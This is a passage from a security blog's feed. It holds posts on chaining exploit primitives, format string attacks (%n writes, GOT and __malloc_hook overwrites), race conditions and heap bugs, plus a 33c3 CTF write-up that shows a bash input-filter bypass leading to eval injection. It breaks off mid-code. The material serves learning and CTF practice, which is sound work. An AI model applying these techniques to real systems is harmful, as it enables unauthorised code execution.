&lt;p&gt;Influenced from a nice challenge in &lt;a href=&quot;http://2017.picoctf.com/&quot;&gt;PicoCTF 2017&lt;/a&gt; (name of challenge withheld, since the contest is still under way) &lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;WARNING: This note might seem simple/obvious to some readers, but it necessitates saying, since the layering wasn&amp;#39;t crystal clear to me until very recently. &lt;/p&gt;
&lt;p&gt;Of course, when programming, all of us use abstractions, whether they
be classes and objects, or functions, or meta-functions, or
polymorphism, or monads, or functors, or all that jazz. However, can
we really have such a thing during exploitation? Obviously, we can
exploit mistakes that are made in implementing the aforementioned
abstractions, but here, I am talking about something different.&lt;/p&gt;

&lt;p&gt;Across multiple CTFs, whenever I&amp;#39;ve written an exploit previously, it
has been an ad-hoc exploit script that drops a shell. I use the
amazing pwntools as a framework (for connecting to the service, and
converting things, and DynELF, etc), but that&amp;#39;s about it. Each exploit
tended to be an ad-hoc way to work towards the goal of arbitrary code
execution. However, this current challenge, as well as thinking about
my previous note on &lt;a href=&quot;/blog/2017/04/06/adv-format-string/&quot;&gt;&amp;quot;Advanced&amp;quot; Format String Exploitation&lt;/a&gt;, made me
realize that I could layer my exploits in a consistent way, and move
through different abstraction layers to finally reach the requisite
goal.&lt;/p&gt;

&lt;p&gt;As an example, let us consider the vulnerability to be a logic error,
which lets us do a read/write of 4 bytes, somewhere in a small range
&lt;em&gt;after&lt;/em&gt; a buffer. We want to abuse this all the way to gaining code
execution, and finally the flag.&lt;/p&gt;

&lt;p&gt;In this scenario, I would consider this abstraction to be a
&lt;code&gt;short-distance-write-anything&lt;/code&gt; primitive. With this itself, obviously
we cannot do much. Nevertheless, I make a small Python function
&lt;code&gt;vuln(offset, val)&lt;/code&gt;. However, since just after the buffer, there may
be some data/meta-data that might be useful, we can abuse this to
build both &lt;code&gt;read-anywhere&lt;/code&gt; and &lt;code&gt;write-anything-anywhere&lt;/code&gt;
primitives. This means, I write short Python functions that call the
previously defined &lt;code&gt;vuln()&lt;/code&gt; function. These &lt;code&gt;get_mem(addr)&lt;/code&gt; and
&lt;code&gt;set_mem(addr, val)&lt;/code&gt; functions are made simply (in this current
example) simply by using the &lt;code&gt;vuln()&lt;/code&gt; function to overwrite a pointer,
which can then be dereferenced elsewhere in the binary.&lt;/p&gt;

&lt;p&gt;Now, after we have these &lt;code&gt;get_mem()&lt;/code&gt; and &lt;code&gt;set_mem()&lt;/code&gt; abstractions, I
build an anti-ASLR abstraction, by basically leaking 2 addresses from
the GOT through &lt;code&gt;get_mem()&lt;/code&gt; and comparing against
a &lt;a href=&quot;https://github.com/niklasb/libc-database&quot;&gt;libc database&lt;/a&gt; (thanks
@niklasb for making the database). The offsets from these give me a
&lt;code&gt;libc_base&lt;/code&gt; reliably, which allows me to replace any function in
the GOT with another from libc.&lt;/p&gt;

&lt;p&gt;This has essentially given me control over EIP (the moment I can
&amp;quot;trigger&amp;quot; one of those functions &lt;em&gt;exactly&lt;/em&gt; when I want to). Now, all
that remains is for me to call the trigger with the right parameters.
So I set up the parameters as a separate abstraction, and then call
&lt;code&gt;trigger()&lt;/code&gt; and I have shell access on the system.&lt;/p&gt;

&lt;p&gt;TL;DR: One can build small exploitation primitives (which do not have
too much power), and by combining them and building a hierarchy of
stronger primitives, we can gain complete execution.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>&quot;Advanced&quot; Format String Exploitation</title>
   <link href="https://www.jaybosamiya.com/blog/2017/04/06/adv-format-string/"/>
   <updated>2017-04-06T00:00:00+00:00</updated>
   <id>https://www.jaybosamiya.com/blog/2017/04/06/adv-format-string</id>
   <content type="html">&lt;blockquote&gt;
&lt;p&gt;Influenced by &lt;a href=&quot;https://www.youtube.com/watch?v=xAdjDEwENCQ&quot;&gt;this&lt;/a&gt; awesome live stream by Gynvael Coldwind, where he talks about format string exploitation &lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;While simple format string vulnerabilities are becoming relatively
less common these days, every once in a while, we come across some
interesting cases in either CTFs or (less likely) real world programs,
where having a better understanding of how to attack these
vulnerabilities helps immensely.&lt;/p&gt;

&lt;h2&gt;Simple format string exploits:&lt;/h2&gt;

&lt;p&gt;You can use the &lt;code&gt;%p&lt;/code&gt; to see what&amp;#39;s on the stack. If the format string
itself is on the stack, then one can place an address (say &lt;em&gt;foo&lt;/em&gt;) onto
the stack, and then seek to it using the position specifier &lt;code&gt;n$&lt;/code&gt; (for
example, &lt;code&gt;AAAA %7$p&lt;/code&gt; might return &lt;code&gt;AAAA 0x41414141&lt;/code&gt;, if 7 is the
position on the stack). We can then use this to build a &lt;strong&gt;read-where&lt;/strong&gt;
primitive, using the &lt;code&gt;%s&lt;/code&gt; format specifier instead (for example, &lt;code&gt;AAAA
%7$s&lt;/code&gt; would return the value at the address 0x41414141, continuing the
previous example). We can also use the &lt;code&gt;%n&lt;/code&gt; format specifier to make
it into a &lt;strong&gt;write-what-where&lt;/strong&gt; primitive. Usually instead, we use
&lt;code&gt;%hhn&lt;/code&gt; (a glibc extension, iirc), which lets us write one byte at a
time.&lt;/p&gt;

&lt;p&gt;We use the above primitives to initially beat ASLR (if any) and then
overwrite an entry in the GOT (say &lt;code&gt;exit()&lt;/code&gt; or &lt;code&gt;fflush()&lt;/code&gt; or ...) to
then raise it to an &lt;strong&gt;arbitrary-eip-control&lt;/strong&gt; primitive, which
basically gives us &lt;strong&gt;arbitrary-code-execution&lt;/strong&gt;.&lt;/p&gt;

&lt;h2&gt;Possible difficulties (and &amp;quot;advanced&amp;quot; exploitation):&lt;/h2&gt;

&lt;p&gt;If we have &lt;strong&gt;partial ASLR&lt;/strong&gt;, then we can still use format strings and
beat it, but this becomes much harder if we only have one-shot exploit
(i.e., our exploit needs to run instantaneously, and the addresses are
randomized on each run, say). The way we would beat this is to use
addresses that are already in the memory, and overwrite them partially
(since ASLR affects only higher order bits). This way, we can gain
reliability during execution.&lt;/p&gt;

&lt;p&gt;If we have a &lt;strong&gt;read only .GOT&lt;/strong&gt; section, then the &amp;quot;standard&amp;quot; attack of
overwriting the GOT will not work. In this case, we look for
alternative areas that can be overwritten (preferably function
pointers). Some such areas are: &lt;code&gt;__malloc_hook&lt;/code&gt; (see &lt;code&gt;man&lt;/code&gt; page for
the same), &lt;code&gt;stdin&lt;/code&gt;&amp;#39;s vtable pointer to &lt;code&gt;write&lt;/code&gt; or &lt;code&gt;flush&lt;/code&gt;, etc. In
such a scenario, having access to the libc sources is extremely
useful. As for overwriting the &lt;code&gt;__malloc_hook&lt;/code&gt;, it works even if the
application doesn&amp;#39;t call &lt;code&gt;malloc&lt;/code&gt;, since it is calling &lt;code&gt;printf&lt;/code&gt; (or
similar), and internally, if we pass a width specifier greater than
64k (say &lt;code&gt;%70000c&lt;/code&gt;), then it will call malloc, and thus whatever
address was specified at the global variable &lt;code&gt;__malloc_hook&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;If we have our format string &lt;strong&gt;buffer not on the stack&lt;/strong&gt;, then we can
still gain a &lt;strong&gt;write-what-where&lt;/strong&gt; primitive, though it is a little
more complex. First off, we need to stop using the position specifiers
&lt;code&gt;n$&lt;/code&gt;, since if this is used, then &lt;code&gt;printf&lt;/code&gt; internally copies the stack
(which we will be modifying as we go along). Now, we find two pointers
that point &lt;em&gt;ahead&lt;/em&gt; into the stack itself, and use those to overwrite
the lower order bytes of two further &lt;em&gt;ahead&lt;/em&gt; pointing pointers on the
stack, so that they now point to &lt;code&gt;x+0&lt;/code&gt; and &lt;code&gt;x+2&lt;/code&gt; where &lt;code&gt;x&lt;/code&gt; is some
location further &lt;em&gt;ahead&lt;/em&gt; on the stack. Using these two overwrites, we
are able to completely control the 4 bytes at &lt;code&gt;x&lt;/code&gt;, and this becomes
our &lt;strong&gt;where&lt;/strong&gt; in the primitive. Now we just have to ignore more
positions on the format string until we come to this point, and we
have a &lt;strong&gt;write-what-where&lt;/strong&gt; primitive.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Race Conditions &amp; Exploiting Them</title>
   <link href="https://www.jaybosamiya.com/blog/2017/04/01/race-conditions/"/>
   <updated>2017-04-01T00:00:00+00:00</updated>
   <id>https://www.jaybosamiya.com/blog/2017/04/01/race-conditions</id>
   <content type="html">&lt;blockquote&gt;
&lt;p&gt;Influenced by &lt;a href=&quot;https://www.youtube.com/watch?v=kqdod-ATGVI&quot;&gt;this&lt;/a&gt; amazing live stream by Gynvael Coldwind, where he explains about race conditions &lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;If a memory region (or file or any other resource) is accessed &lt;em&gt;twice&lt;/em&gt;
with the assumption that it would remain same, but due to switching of
threads, we are able to change the value, we have a race condition.&lt;/p&gt;

&lt;p&gt;Most common kind is a TOCTTOU (Time-of-check to Time-of-use), where a
variable (or file or any other resource) is first checked for some
value, and if a certain condition for it passes, then it is used. In
this case, we can attack it by continuously &amp;quot;spamming&amp;quot; this check in
one thread, and in another thread, continuously &amp;quot;flipping&amp;quot; it so that
due to randomness, we might be able to get a flip in the middle of the
&amp;quot;window-of-opportunity&amp;quot; which is the (short) timeframe between the
check and the use.&lt;/p&gt;

&lt;p&gt;Usually the window-of-opportunity might be very small. We can use
multiple tricks in order to increase this window of opportunity by a
factor of 3x or even up to ~100x. We do this by controlling how the
value is being cached, or paged. If a value (let&amp;#39;s say a &lt;code&gt;long int&lt;/code&gt;)
is not aligned to a cache line, then 2 cache lines might need to be
accessed and this causes a delay for the same instruction to
execute. Alternatively, breaking alignment on a page, (i.e., placing
it across a page boundary) can cause a much larger time to
access. This might give us higher chance of the race condition being
triggered.&lt;/p&gt;

&lt;p&gt;Smarter ways exist to improve this race condition situation (such as
clearing TLB etc, but these might not even be necessary sometimes).&lt;/p&gt;

&lt;p&gt;Race conditions can be used, in (possibly) their extreme case, to get
ring0 code execution (which is &amp;quot;higher than root&amp;quot;, since it is kernel
mode execution).&lt;/p&gt;

&lt;p&gt;It is possible to find race conditions &amp;quot;automatically&amp;quot; by building
tools/plugins on top of architecture emulators. For further details,
http://vexillium.org/pub/005.html&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Types of &quot;Basic&quot; Heap Exploits</title>
   <link href="https://www.jaybosamiya.com/blog/2017/03/31/basic-heap-expl/"/>
   <updated>2017-03-31T00:00:00+00:00</updated>
   <id>https://www.jaybosamiya.com/blog/2017/03/31/basic-heap-expl</id>
   <content type="html">&lt;blockquote&gt;
&lt;p&gt;Influenced by &lt;a href=&quot;https://www.youtube.com/watch?v=OwQk9Ti4mg4jjj&quot;&gt;this&lt;/a&gt; amazing live stream by Gynvael Coldwind, where he is experimenting on the heap &lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Amongst the various kinds of heap exploitation techniques, there are 3
that are considered extremely basic, and provide the fundamentals to
understand more complicated heap exploits.&lt;/p&gt;

&lt;h2&gt;Use-after-free:&lt;/h2&gt;

&lt;p&gt;Let us say we have a bunch of pointers to a place in heap, and it is
freed without making sure that all of those pointers are updated. This
would leave a few dangling pointers into free&amp;#39;d space. This is
exploitable by usually making another allocation of different type
into the same region, such that you control different areas, and then
you can abuse this to gain (possibly) arbitrary code execution.&lt;/p&gt;

&lt;h2&gt;Double-free:&lt;/h2&gt;

&lt;p&gt;Free up a memory region, and the free it again. If you can do this,
you can take control by controlling the internal structures used by
malloc. This &lt;em&gt;can&lt;/em&gt; get complicated, compared to use-after-free, so
preferably use that one if possible.&lt;/p&gt;

&lt;h2&gt;Classic buffer overflow on the heap (heap-overflow):&lt;/h2&gt;

&lt;p&gt;If you can write beyond the allocated memory, then you can start to
write into the malloc&amp;#39;s internal structures of the next malloc&amp;#39;d
block, and by controlling what internal values get overwritten, you
can usually gain a read-what-where primitive, that can usually be
abused to gain higher levels of access (usually arbitrary code
execution, via the &lt;code&gt;GOT PLT&lt;/code&gt;, or &lt;code&gt;__fini_array__&lt;/code&gt; or similar).&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>33c3 2016 - Hohoho</title>
   <link href="https://www.jaybosamiya.com/blog/2016/12/31/hohoho/"/>
   <updated>2016-12-31T00:00:00+00:00</updated>
   <id>https://www.jaybosamiya.com/blog/2016/12/31/hohoho</id>
   <content type="html">&lt;p&gt;This was a great challenge, and I learnt a lot, even though I ended up
spending many hours (over 10 hours!) on it.&lt;/p&gt;

&lt;h2&gt;The challenge&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;Santa Claus had a massive, multi-day lag and is still stuck at sorting out christmas trees and presents.
Help him with the trees at &lt;code&gt;nc 78.46.224.71 14449&lt;/code&gt;.
If he doesn&amp;#39;t reward you with a satisfactory present, you might have to &lt;em&gt;bash&lt;/em&gt; him a bit.
ATTENTION: this challenge is rate limited to 15 connections / minute. Your connection attempts will be blocked if you exceed the limit.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;The solution&lt;/h2&gt;

&lt;p&gt;When I started working on the challenge, I initially thought it would just be a programming type of challenge, due to the way it started off, but I&amp;#39;m getting ahead of myself.&lt;/p&gt;

&lt;h3&gt;A Christmassy Start&lt;/h3&gt;

&lt;p&gt;The challenge starts off with a colourful menu that let&amp;#39;s us pick between &lt;strong&gt;S&lt;/strong&gt;tarting, &lt;strong&gt;C&lt;/strong&gt;continuing, &lt;strong&gt;V&lt;/strong&gt;isiting, or &lt;strong&gt;Q&lt;/strong&gt;uitting.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;pics/0-intro.png&quot; alt=&quot;Intro image&quot;&gt;&lt;/p&gt;

&lt;p&gt;Exploring the different options, I realized that the &lt;em&gt;Start&lt;/em&gt; option is what would let me reach the programming challenge, giving me a hash(?) which I can use to restart using &lt;em&gt;Continue&lt;/em&gt;. &lt;em&gt;Visit&lt;/em&gt; would let me see some nice ascii-artwork, and &lt;em&gt;Quit&lt;/em&gt; did the obvious.&lt;/p&gt;

&lt;h3&gt;Unmixing trees!&lt;/h3&gt;

&lt;p&gt;The main challenge seemed to be a variant of the classical &lt;a href=&quot;https://en.wikipedia.org/wiki/Towers_of_hanoi&quot;&gt;Towers of Hanoi&lt;/a&gt;, known as the &lt;em&gt;bicolor towers of hanoi&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;pics/1-start.png&quot; alt=&quot;Starting challenge&quot;&gt;&lt;/p&gt;

&lt;p&gt;Solving the challenge in a general form on paper, using recursion, I came up with a solution that involved &lt;em&gt;merging&lt;/em&gt; the disks from towers 1 and 2, into tower 3 (in an interleaving fashion), and then &lt;em&gt;unmerging&lt;/em&gt; the trees from towers 3 into 2 and 1, in the right order (i.e. de-interleaving it correctly).&lt;/p&gt;

&lt;p&gt;In order to these operations easily, I wrote down some helper functions into &lt;a href=&quot;towers.py&quot;&gt;towers.py&lt;/a&gt;. With this, I could easily generate the answer using &lt;code&gt;fixer(8,1,2,3)&lt;/code&gt;, but this is where I realized that there were length restrictions to what the system accepted in one go, so I wrote up quick splitter and let that data pass through to the server. And in order to make it easier to continue, I would skip out on the last (final) move needed to complete the whole work. This was coded up in &lt;a href=&quot;gen_ans.py&quot;&gt;gen_ans.py&lt;/a&gt; which used the previous helper function and opened a shell with the right moves done. This ran approx 131000 moves&lt;/p&gt;

&lt;p&gt;I was almost there (or so I thought).&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;pics/2-almost-unmix.png&quot; alt=&quot;Unmixing the trees&quot;&gt;&lt;/p&gt;

&lt;h3&gt;What the Hanoi!&lt;/h3&gt;

&lt;p&gt;Once you make the final move, you are asked a bunch of questions, and based upon the choices you make, you either get a &lt;em&gt;candy cane&lt;/em&gt;, or an &lt;em&gt;apple&lt;/em&gt;, a beating, or a freaking &amp;quot;Bye!&amp;quot;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;pics/3-candy.png&quot; alt=&quot;After unmixing&quot;&gt;&lt;/p&gt;

&lt;p&gt;What the Hanoi!!! I thought I should have gotten the flag by now! What are you doing Santa!&lt;/p&gt;

&lt;p&gt;Oh, and lemme just mention here: when I was solving the challenge, the &lt;strong&gt;n&lt;/strong&gt;aughty and n&lt;strong&gt;i&lt;/strong&gt;ce were switched. The organizers seem to have fixed it later on though (even though it doesn&amp;#39;t matter much).&lt;/p&gt;

&lt;p&gt;What annoyed me most at that time, was that I still hadn&amp;#39;t made my above script stop at the last remaining move. So once I reached the ending and found out no flag, then to re-try other options in the menu, when I tried to continue, it would continue somewhere in the middle of my solution. Instead, after making the change to stop just before last move, now when I did a &lt;strong&gt;C&lt;/strong&gt;ontinue from the original menu, I could manually just type in &lt;code&gt;32&lt;/code&gt; and work.&lt;/p&gt;

&lt;h3&gt;I need my presents!&lt;/h3&gt;

&lt;p&gt;Now, after trying out all the different menu combinations at that point, I was at a loss, and decide to re-read the description of the challenge.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;If he doesn&amp;#39;t reward you with a satisfactory present, you might have to &lt;em&gt;bash&lt;/em&gt; him a bit.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;strong&gt;Facepalm&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Now I&amp;#39;m gonna have to figure out how to &lt;em&gt;bash&lt;/em&gt; the system. Of course, it wouldn&amp;#39;t mean &amp;quot;brute-force&amp;quot;, since we are allowed only 15 connections per minute (meaning, we can do manual tries, but no automated scripts).&lt;/p&gt;

&lt;p&gt;For this, I&amp;#39;d have for figure out some point of the system which is injectible. At this point, I am starting to get pissed that the whole towers of hanoi might have just been a red-herring that I wasted my time on. Thankfully this wasn&amp;#39;t the case, but it took me a while to figure that out.&lt;/p&gt;

&lt;p&gt;I tried submitting different values at the different parts of the menu after the tree solution, but I wasn&amp;#39;t able to deduce any clear pattern, so I tried going back to the main menu, and try some stuff.&lt;/p&gt;

&lt;p&gt;It is the &lt;strong&gt;C&lt;/strong&gt;ontinue option where I had my first bout of information disclosure. Using this small bit of info, I tried to deduce as much as I could.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;pics/4-info-continue.png&quot; alt=&quot;Info disclosure from Continue option&quot;&gt;&lt;/p&gt;

&lt;p&gt;So, I had figured out the following:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The progress info was stored in &lt;code&gt;sandboxes/{ID}/progress&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Some sort of filtering on characters was being done&lt;/li&gt;
&lt;li&gt;The filtering is weird but doesn&amp;#39;t like &lt;code&gt;.&lt;/code&gt; in it&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Time to test out other parts.&lt;/p&gt;

&lt;h3&gt;Show me your sources&lt;/h3&gt;

&lt;p&gt;In the &lt;strong&gt;V&lt;/strong&gt;isit option, we can get some additional information out, especially since it looks like it is running a &lt;code&gt;cat&lt;/code&gt; on the input (after prepending it with &lt;code&gt;santa_&lt;/code&gt;).&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;pics/5-cat.png&quot; alt=&quot;Visit option output&quot;&gt;&lt;/p&gt;

&lt;p&gt;Maybe wildcards work? I tried a &lt;code&gt;*&lt;/code&gt; but it didn&amp;#39;t seem to work.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;pics/6-invalid.png&quot; alt=&quot;Invalid&quot;&gt;&lt;/p&gt;

&lt;p&gt;However, after further probing, I realized that it required that &lt;em&gt;exactly&lt;/em&gt; one digit was passed, and &lt;em&gt;exactly&lt;/em&gt; zero alphabets were passed. Using this, I passed along &lt;code&gt;0 *&lt;/code&gt; to get a dump of all files it could get from the directory.&lt;/p&gt;

&lt;p&gt;This dumped a whole lot, including &lt;a href=&quot;santa.sh&quot;&gt;santa.sh&lt;/a&gt; which was the source code to the whole challenge. Now I could figure out what to do next.&lt;/p&gt;

&lt;h3&gt;Where is the damn flag?!?&lt;/h3&gt;

&lt;p&gt;Reading through the code, I was able to notice a couple of useful/interesting things (which explained why the filtering was occuring as before). The relevant parts of the code are:&lt;/p&gt;
&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;nv&quot;&gt;ALLOWED_CHARS&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;-A-Za-z0-9_,.=&amp;quot;&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; get_input &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;nb&quot;&gt;local &lt;/span&gt;input
    &lt;span class=&quot;nb&quot;&gt;read &lt;/span&gt;input
    &lt;span class=&quot;nb&quot;&gt;local &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;filtered&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;$(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; -n &lt;span class=&quot;s2&quot;&gt;&amp;quot;$input&amp;quot;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; sed &lt;span class=&quot;s2&quot;&gt;&amp;quot;s/[^$ALLOWED_CHARS]//g&amp;quot;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[[&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&amp;quot;$filtered&amp;quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;~ &lt;span class=&quot;nv&quot;&gt;$1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;]]&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;then&lt;/span&gt;
        &lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&amp;quot;$input&amp;quot;&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;fi&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The &lt;code&gt;get_input&lt;/code&gt; function took a regex as its input, and made sure that a filtered version of the user input matched this regex. This is the main vulnerability in the application that will be used and abused throughout.&lt;/p&gt;

&lt;p&gt;The flaw? Well, if the filtered input matches the regex, it returned the original input. This meant that any characters that weren&amp;#39;t part of the &lt;code&gt;ALLOWED_CHARS&lt;/code&gt; set would pass through independent of the regex. Since the wildcard character &lt;code&gt;*&lt;/code&gt; wasn&amp;#39;t in this regex (along with the whitespace &lt;code&gt;&lt;/code&gt;), I was able to use it to get the source in the first place.&lt;/p&gt;

&lt;p&gt;Now, I just need to find out other places that call this function and see if it is possible to exhibit any control over the system through this.&lt;/p&gt;

&lt;p&gt;The &lt;em&gt;V&lt;/em&gt;isit option would not allow me to control too much, but I notice that the &lt;code&gt;check_success&lt;/code&gt; function does an &lt;code&gt;eval&lt;/code&gt; on input that comes through &lt;code&gt;get_input&lt;/code&gt;. This is good news since it would allow us to do quite a bit more than just continuing to output more stuff from the simple &lt;code&gt;cat&lt;/code&gt; that was there in the &lt;strong&gt;V&lt;/strong&gt;isit option.&lt;/p&gt;

&lt;p&gt;For simplicity of understanding, the function is reproduced here:&lt;/p&gt;
&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; check_success &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;$((&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$TREE_SIZE&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;))&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; i&amp;gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;0&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; i--&lt;span class=&quot;o&quot;&gt;))&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;do&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[[&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&amp;quot;${trees[0,$i]}&amp;quot;&lt;/span&gt; -ne &lt;span class=&quot;s2&quot;&gt;&amp;quot;$(($TREE_SIZE-$i))&amp;quot;&lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
            &lt;span class=&quot;o&quot;&gt;||&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&amp;quot;${trees[1,$i]}&amp;quot;&lt;/span&gt; -ne &lt;span class=&quot;s2&quot;&gt;&amp;quot;-$(($TREE_SIZE-$i))&amp;quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;]]&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;then&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;fi&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;done&lt;/span&gt;

    print_trees
    &lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&amp;quot;&amp;quot;&lt;/span&gt;
    &lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; -e &lt;span class=&quot;s2&quot;&gt;&amp;quot;$b$red\t\tCongrats you did it!!$reset&amp;quot;&lt;/span&gt;
    &lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&amp;quot;&amp;quot;&lt;/span&gt;
    &lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; -e &lt;span class=&quot;s2&quot;&gt;&amp;quot;Do you want a present from Santa? [${b}y$reset]es / [${b}n$reset]o&amp;quot;&lt;/span&gt;
    &lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; -n &lt;span class=&quot;s2&quot;&gt;&amp;quot;&amp;gt; &amp;quot;&lt;/span&gt;
    &lt;span class=&quot;nb&quot;&gt;local &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;answer&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;$(&lt;/span&gt;get_input ^&lt;span class=&quot;se&quot;&gt;\(&lt;/span&gt;y&lt;span class=&quot;se&quot;&gt;\|&lt;/span&gt;n&lt;span class=&quot;se&quot;&gt;\)&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[[&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;answer&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&amp;quot;y&amp;quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;]]&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;then&lt;/span&gt;
        &lt;span class=&quot;nb&quot;&gt;local &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;santa&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;santa&amp;quot;&lt;/span&gt;
        &lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; -e &lt;span class=&quot;s2&quot;&gt;&amp;quot;Ok then! Do you wish to get some [${b}c$reset]andy or some [${b}a$reset]pples?&amp;quot;&lt;/span&gt;
        &lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; -n &lt;span class=&quot;s2&quot;&gt;&amp;quot;&amp;gt; &amp;quot;&lt;/span&gt;
        &lt;span class=&quot;nb&quot;&gt;local &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;present&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;$(&lt;/span&gt;get_input ^&lt;span class=&quot;se&quot;&gt;\(&lt;/span&gt;c&lt;span class=&quot;se&quot;&gt;\|&lt;/span&gt;i&lt;span class=&quot;se&quot;&gt;\)&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$)&lt;/span&gt;
